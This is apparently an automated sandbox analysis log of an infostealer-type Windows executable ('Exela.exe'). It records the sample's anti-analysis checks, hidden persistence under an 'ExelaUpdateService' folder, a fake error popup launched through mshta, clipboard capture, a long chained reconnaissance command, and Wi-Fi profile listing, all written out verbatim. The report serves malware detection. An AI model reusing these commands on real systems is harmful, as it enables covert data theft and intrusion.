            Source: C:\Users\user\Desktop\9afaXJv52z.exeCode function: 0_2_00007FF6850C7E4C0_2_00007FF6850C7E4C
            Source: C:\Users\user\Desktop\9afaXJv52z.exeCode function: 0_2_00007FF6850D72BC0_2_00007FF6850D72BC
            Source: C:\Users\user\Desktop\9afaXJv52z.exeCode function: 0_2_00007FF6850B79500_2_00007FF6850B7950
            Source: C:\Users\user\Desktop\9afaXJv52z.exeCode function: 0_2_00007FF6850D63700_2_00007FF6850D6370
            Source: C:\Users\user\Desktop\9afaXJv52z.exeCode function: 0_2_00007FF6850C1E940_2_00007FF6850C1E94
            Source: C:\Users\user\Desktop\9afaXJv52z.exeCode function: 0_2_00007FF6850C86D00_2_00007FF6850C86D0
            Source: C:\Users\user\Desktop\9afaXJv52z.exeCode function: 0_2_00007FF6850C36E00_2_00007FF6850C36E0
            Source: C:\Users\user\Desktop\9afaXJv52z.exeCode function: 0_2_00007FF6850D1EE40_2_00007FF6850D1EE4
            Source: C:\Users\user\Desktop\9afaXJv52z.exeCode function: 0_2_00007FF6850C5F300_2_00007FF6850C5F30
            Source: C:\Users\user\Desktop\9afaXJv52z.exeCode function: 0_2_00007FF6850D471C0_2_00007FF6850D471C
            Source: C:\Users\user\Desktop\9afaXJv52z.exeCode function: 0_2_00007FF6850C2D500_2_00007FF6850C2D50
            Source: C:\Users\user\Desktop\9afaXJv52z.exeCode function: 0_2_00007FF6850D6D700_2_00007FF6850D6D70
            Source: C:\Users\user\Desktop\9afaXJv52z.exeCode function: 0_2_00007FF6850D65EC0_2_00007FF6850D65EC
            Source: C:\Users\user\Desktop\9afaXJv52z.exeCode function: 0_2_00007FF6850C18800_2_00007FF6850C1880
            Source: C:\Users\user\Desktop\9afaXJv52z.exeCode function: 0_2_00007FF6850C20A00_2_00007FF6850C20A0
            Source: C:\Users\user\Desktop\9afaXJv52z.exeCode function: 0_2_00007FF6850B1F500_2_00007FF6850B1F50
            Source: C:\Users\user\Desktop\9afaXJv52z.exeCode function: 0_2_00007FF6850D0F380_2_00007FF6850D0F38
            Source: C:\Users\user\Desktop\9afaXJv52z.exeCode function: 0_2_00007FF6850C7E4C0_2_00007FF6850C7E4C
            Source: C:\Users\user\Desktop\9afaXJv52z.exeCode function: 0_2_00007FF6850B8FD00_2_00007FF6850B8FD0
            Source: C:\Users\user\Desktop\9afaXJv52z.exeCode function: 0_2_00007FF6850D9FF80_2_00007FF6850D9FF8
            Source: C:\Users\user\Desktop\9afaXJv52z.exeCode function: 0_2_00007FF6850CE01C0_2_00007FF6850CE01C
            Source: C:\Users\user\Desktop\9afaXJv52z.exeCode function: 0_2_00007FF6850D0F380_2_00007FF6850D0F38
            Source: C:\Users\user\Desktop\9afaXJv52z.exeCode function: 0_2_00007FF6850C1A840_2_00007FF6850C1A84
            Source: C:\Users\user\Desktop\9afaXJv52z.exeCode function: 0_2_00007FF6850D42800_2_00007FF6850D4280
            Source: C:\Users\user\Desktop\9afaXJv52z.exeCode function: 0_2_00007FF6850C22A40_2_00007FF6850C22A4
            Source: C:\Users\user\Desktop\9afaXJv52z.exeCode function: 0_2_00007FF6850C3AE40_2_00007FF6850C3AE4
            Source: C:\Users\user\Desktop\9afaXJv52z.exeCode function: 0_2_00007FF6850CEB300_2_00007FF6850CEB30
            Source: C:\Users\user\Desktop\9afaXJv52z.exeCode function: 0_2_00007FF6850C1C900_2_00007FF6850C1C90
            Source: C:\Users\user\Desktop\9afaXJv52z.exeCode function: 0_2_00007FF6850CE4B00_2_00007FF6850CE4B0
            Source: C:\Users\user\Desktop\9afaXJv52z.exeCode function: 0_2_00007FF6850C7C980_2_00007FF6850C7C98
            Source: C:\Users\user\Desktop\9afaXJv52z.exeCode function: 0_2_00007FF6850CA4300_2_00007FF6850CA430
            Source: Joe Sandbox ViewDropped File: C:\Users\user\AppData\Local\Temp\_MEI67202\VCRUNTIME140.dll D66C3B47091CEB3F8D3CC165A43D285AE919211A0C0FCB74491EE574D8D464F8
            Source: C:\Users\user\Desktop\9afaXJv52z.exeCode function: String function: 00007FF6850B2B30 appears 47 times
            Source: _overlapped.pyd.0.drStatic PE information: Resource name: RT_VERSION type: COM executable for DOS
            Source: unicodedata.pyd.0.drStatic PE information: Resource name: RT_VERSION type: COM executable for DOS
            Source: python3.dll.0.drStatic PE information: No import functions for PE file found
            Source: 9afaXJv52z.exeBinary or memory string: OriginalFilename vs 9afaXJv52z.exe
            Source: 9afaXJv52z.exe, 00000000.00000003.1249492871.00000170C08E5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenamelibsslH vs 9afaXJv52z.exe
            Source: 9afaXJv52z.exe, 00000000.00000003.1249717286.00000170C08E5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenamepyexpat.pyd. vs 9afaXJv52z.exe
            Source: 9afaXJv52z.exe, 00000000.00000003.1244115829.00000170C08E3000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilename_bz2.pyd. vs 9afaXJv52z.exe
            Source: 9afaXJv52z.exe, 00000000.00000003.1244442453.00000170C08E3000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilename_decimal.pyd. vs 9afaXJv52z.exe
            Source: 9afaXJv52z.exe, 00000000.00000003.1244809327.00000170C08E3000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilename_multiprocessing.pyd. vs 9afaXJv52z.exe
            Source: 9afaXJv52z.exe, 00000000.00000003.1251123271.00000170C08E5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameunicodedata.pyd. vs 9afaXJv52z.exe
            Source: 9afaXJv52z.exe, 00000000.00000003.1244934313.00000170C08E3000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilename_overlapped.pyd. vs 9afaXJv52z.exe
            Source: 9afaXJv52z.exe, 00000000.00000003.1244562675.00000170C08E3000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilename_hashlib.pyd. vs 9afaXJv52z.exe
            Source: 9afaXJv52z.exe, 00000000.00000003.1245025869.00000170C08E3000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilename_queue.pyd. vs 9afaXJv52z.exe
            Source: 9afaXJv52z.exe, 00000000.00000003.1250812728.00000170C08E5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenamesqlite3.dll0 vs 9afaXJv52z.exe
            Source: 9afaXJv52z.exe, 00000000.00000003.1245362425.00000170C08E3000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilename_ssl.pyd. vs 9afaXJv52z.exe
            Source: 9afaXJv52z.exe, 00000000.00000000.1242938460.00007FF6850F2000.00000002.00000001.01000000.00000003.sdmpBinary or memory string: OriginalFilenameExela.exej% vs 9afaXJv52z.exe
            Source: 9afaXJv52z.exe, 00000000.00000003.1243849896.00000170C08E3000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenamevcruntime140.dllT vs 9afaXJv52z.exe
            Source: 9afaXJv52z.exe, 00000000.00000003.1244016171.00000170C08E3000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: !OriginalFilename_asyncio.pyd. vs 9afaXJv52z.exe
            Source: 9afaXJv52z.exe, 00000000.00000003.1244016171.00000170C08E3000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilename_asyncio.pyd. vs 9afaXJv52z.exe
            Source: 9afaXJv52z.exe, 00000000.00000003.1245140379.00000170C08E3000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilename_socket.pyd. vs 9afaXJv52z.exe
            Source: 9afaXJv52z.exe, 00000000.00000003.1244644310.00000170C08E3000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilename_lzma.pyd. vs 9afaXJv52z.exe
            Source: 9afaXJv52z.exe, 00000000.00000003.1250672887.00000170C08E5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameselect.pyd. vs 9afaXJv52z.exe
            Source: 9afaXJv52z.exe, 00000000.00000003.1244334483.00000170C08E3000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilename_ctypes.pyd. vs 9afaXJv52z.exe
            Source: 9afaXJv52z.exe, 00000000.00000003.1245247870.00000170C08E3000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilename_sqlite3.pyd. vs 9afaXJv52z.exe
            Source: 9afaXJv52z.exe, 00000000.00000003.1249826162.00000170C08E5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenamepython3.dll. vs 9afaXJv52z.exe
            Source: 9afaXJv52z.exe, 00000000.00000003.1245483808.00000170C08E3000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilename_uuid.pyd. vs 9afaXJv52z.exe
            Source: 9afaXJv52z.exe, 00000002.00000000.1252176030.00007FF6850F2000.00000002.00000001.01000000.00000003.sdmpBinary or memory string: OriginalFilenameExela.exej% vs 9afaXJv52z.exe
            Source: 9afaXJv52z.exe, 00000002.00000002.1564172723.0000020DAB880000.00000002.00000001.01000000.00000006.sdmpBinary or memory string: OriginalFilenamepython3.dll. vs 9afaXJv52z.exe
            Source: 9afaXJv52z.exeBinary or memory string: OriginalFilenameExela.exej% vs 9afaXJv52z.exe
            Source: C:\Windows\System32\mshta.exeKey opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE
            Source: C:\Users\user\Desktop\9afaXJv52z.exeSection loaded: sbiedll.dllJump to behavior
            Source: C:\Windows\System32\svchost.exeSection loaded: pcwum.dll
            Source: libcrypto-1_1.dll.0.drStatic PE information: Section: UPX1 ZLIB complexity 0.9987754672181373
            Source: libssl-1_1.dll.0.drStatic PE information: Section: UPX1 ZLIB complexity 0.9903915229885057
            Source: python311.dll.0.drStatic PE information: Section: UPX1 ZLIB complexity 0.9993579269724483
            Source: sqlite3.dll.0.drStatic PE information: Section: UPX1 ZLIB complexity 0.9976298969897524
            Source: _rust.pyd.0.drStatic PE information: Section: UPX1 ZLIB complexity 0.99938125
            Source: unicodedata.pyd.0.drStatic PE information: Section: UPX1 ZLIB complexity 0.9937485999103942
            Source: classification engineClassification label: mal100.troj.adwa.spyw.evad.winEXE@124/95@4/6
            Source: C:\Users\user\Desktop\9afaXJv52z.exeCode function: 0_2_00007FF6850B8560 GetLastError,FormatMessageW,WideCharToMultiByte,0_2_00007FF6850B8560
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile created: C:\Users\user\AppData\Local\ExelaUpdateService\Jump to behavior
            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7960:120:WilError_03
            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7420:120:WilError_03
            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7876:120:WilError_03
            Source: C:\Users\user\Desktop\9afaXJv52z.exeMutant created: \Sessions\1\BaseNamedObjects\E
            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1476:120:WilError_03
            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7576:120:WilError_03
            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7952:120:WilError_03
            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4828:120:WilError_03
            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4452:120:WilError_03
            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7664:120:WilError_03
            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7472:120:WilError_03
            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8152:120:WilError_03
            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7588:120:WilError_03
            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7828:120:WilError_03
            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7444:120:WilError_03
            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7528:120:WilError_03
            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7872:120:WilError_03
            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7592:120:WilError_03
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile created: C:\Users\user~1\AppData\Local\Temp\_MEI67202Jump to behavior
            Source: 9afaXJv52z.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\b8493bec853ac702d2188091d76ccffa\mscorlib.ni.dll
            Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
            Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
            Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
            Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
            Source: C:\Windows\System32\systeminfo.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
            Source: C:\Windows\System32\systeminfo.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
            Source: C:\Users\user\Desktop\9afaXJv52z.exeKey opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
            Source: C:\Windows\System32\cmd.exeFile read: C:\Windows\System32\drivers\etc\hosts
            Source: 9afaXJv52z.exeReversingLabs: Detection: 52%
            Source: 9afaXJv52z.exeVirustotal: Detection: 65%
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile read: C:\Users\user\Desktop\9afaXJv52z.exeJump to behavior
            Source: unknownProcess created: C:\Users\user\Desktop\9afaXJv52z.exe C:\Users\user\Desktop\9afaXJv52z.exe
            Source: C:\Users\user\Desktop\9afaXJv52z.exeProcess created: C:\Users\user\Desktop\9afaXJv52z.exe C:\Users\user\Desktop\9afaXJv52z.exe
            Source: C:\Users\user\Desktop\9afaXJv52z.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "ver"
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Users\user\Desktop\9afaXJv52z.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Users\user\Desktop\9afaXJv52z.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic computersystem get Manufacturer"
            Source: C:\Users\user\Desktop\9afaXJv52z.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "gdb --version"
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Users\user\Desktop\9afaXJv52z.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist"
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\wbem\WMIC.exe wmic path win32_VideoController get name
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\wbem\WMIC.exe wmic computersystem get Manufacturer
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\tasklist.exe tasklist
            Source: C:\Users\user\Desktop\9afaXJv52z.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic path Win32_ComputerSystem get Manufacturer"
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\wbem\WMIC.exe wmic path Win32_ComputerSystem get Manufacturer
            Source: C:\Users\user\Desktop\9afaXJv52z.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
            Source: C:\Users\user\Desktop\9afaXJv52z.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist"
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\wbem\WMIC.exe wmic csproduct get uuid
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\tasklist.exe tasklist
            Source: C:\Users\user\Desktop\9afaXJv52z.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe""
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\attrib.exe attrib +h +s "C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe"
            Source: C:\Users\user\Desktop\9afaXJv52z.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('The Program can\x22t start because api-ms-win-crt-runtime-|l1-1-.dll is missing from your computer. Try reinstalling the program to fix this problem', 0, 'System Error', 0+16);close()""
            Source: C:\Users\user\Desktop\9afaXJv52z.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist"
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\mshta.exe mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('The Program can\x22t start because api-ms-win-crt-runtime-|l1-1-.dll is missing from your computer. Try reinstalling the program to fix this problem', 0, 'System Error', 0+16);close()"
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\tasklist.exe tasklist
            Source: C:\Users\user\Desktop\9afaXJv52z.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
            Source: C:\Users\user\Desktop\9afaXJv52z.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell.exe Get-Clipboard"
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Users\user\Desktop\9afaXJv52z.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "chcp"
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Users\user\Desktop\9afaXJv52z.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "chcp"
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe Get-Clipboard
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\chcp.com chcp
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\chcp.com chcp
            Source: C:\Users\user\Desktop\9afaXJv52z.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administrator User Info#### & net user administrator & echo ####Startup Info#### & wmic startup get caption,command & echo ####Tasklist#### & tasklist /svc & echo ####Ipconfig#### & ipconfig/all & echo ####Hosts#### & type C:\WINDOWS\System32\drivers\etc\hosts & echo ####Route Table#### & route print & echo ####Arp Info#### & arp -a & echo ####Netstat#### & netstat -ano & echo ####Service Info#### & sc query type= service state= all & echo ####Firewallinfo#### & netsh firewall show state & netsh firewall show config"
            Source: C:\Users\user\Desktop\9afaXJv52z.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "netsh wlan show profiles"
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\systeminfo.exe systeminfo
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\netsh.exe netsh wlan show profiles
            Source: C:\Windows\System32\systeminfo.exeProcess created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
            Source: unknownProcess created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\HOSTNAME.EXE hostname
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\wbem\WMIC.exe wmic logicaldisk get caption,description,providername
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\net.exe net user
            Source: C:\Windows\System32\net.exeProcess created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 user
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\query.exe query user
            Source: C:\Windows\System32\query.exeProcess created: C:\Windows\System32\quser.exe C:\Windows\system32\quser.exe
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\net.exe net localgroup
            Source: C:\Windows\System32\net.exeProcess created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 localgroup
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\net.exe net localgroup administrators
            Source: C:\Windows\System32\net.exeProcess created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 localgroup administrators
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\net.exe net user guest
            Source: C:\Windows\System32\attrib.exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Users\user\Desktop\9afaXJv52z.exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Users\user\Desktop\9afaXJv52z.exeProcess created: C:\Users\user\Desktop\9afaXJv52z.exe C:\Users\user\Desktop\9afaXJv52z.exeJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "ver"Jump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"Jump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic computersystem get Manufacturer"Jump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "gdb --version"Jump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist"Jump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic path Win32_ComputerSystem get Manufacturer"Jump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"Jump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist"Jump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe""Jump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('The Program can\x22t start because api-ms-win-crt-runtime-|l1-1-.dll is missing from your computer. Try reinstalling the program to fix this problem', 0, 'System Error', 0+16);close()""Jump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist"Jump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"Jump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell.exe Get-Clipboard"Jump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "chcp"Jump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1Jump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administrator User Info#### & net user administrator & echo ####Startup Info#### & wmic startup get caption,command & echo ####Tasklist#### & tasklist /svc & echo ####Ipconfig#### & ipconfig/all & echo ####Hosts#### & type C:\WINDOWS\System32\drivers\etc\hosts & echo ####Route Table#### & route print & echo ####Arp Info#### & arp -a & echo ####Netstat#### & netstat -ano & echo ####Service Info#### & sc query type= service state= all & echo ####Firewallinfo#### & netsh firewall show state & netsh firewall show config"Jump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "netsh wlan show profiles"Jump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeProcess created: C:\Windows\System32\attrib.exe attrib +h +s "C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe"Jump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeProcess created: unknown unknownJump to behavior
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\wbem\WMIC.exe wmic path win32_VideoController get nameJump to behavior
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\wbem\WMIC.exe wmic computersystem get ManufacturerJump to behavior
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\tasklist.exe tasklistJump to behavior
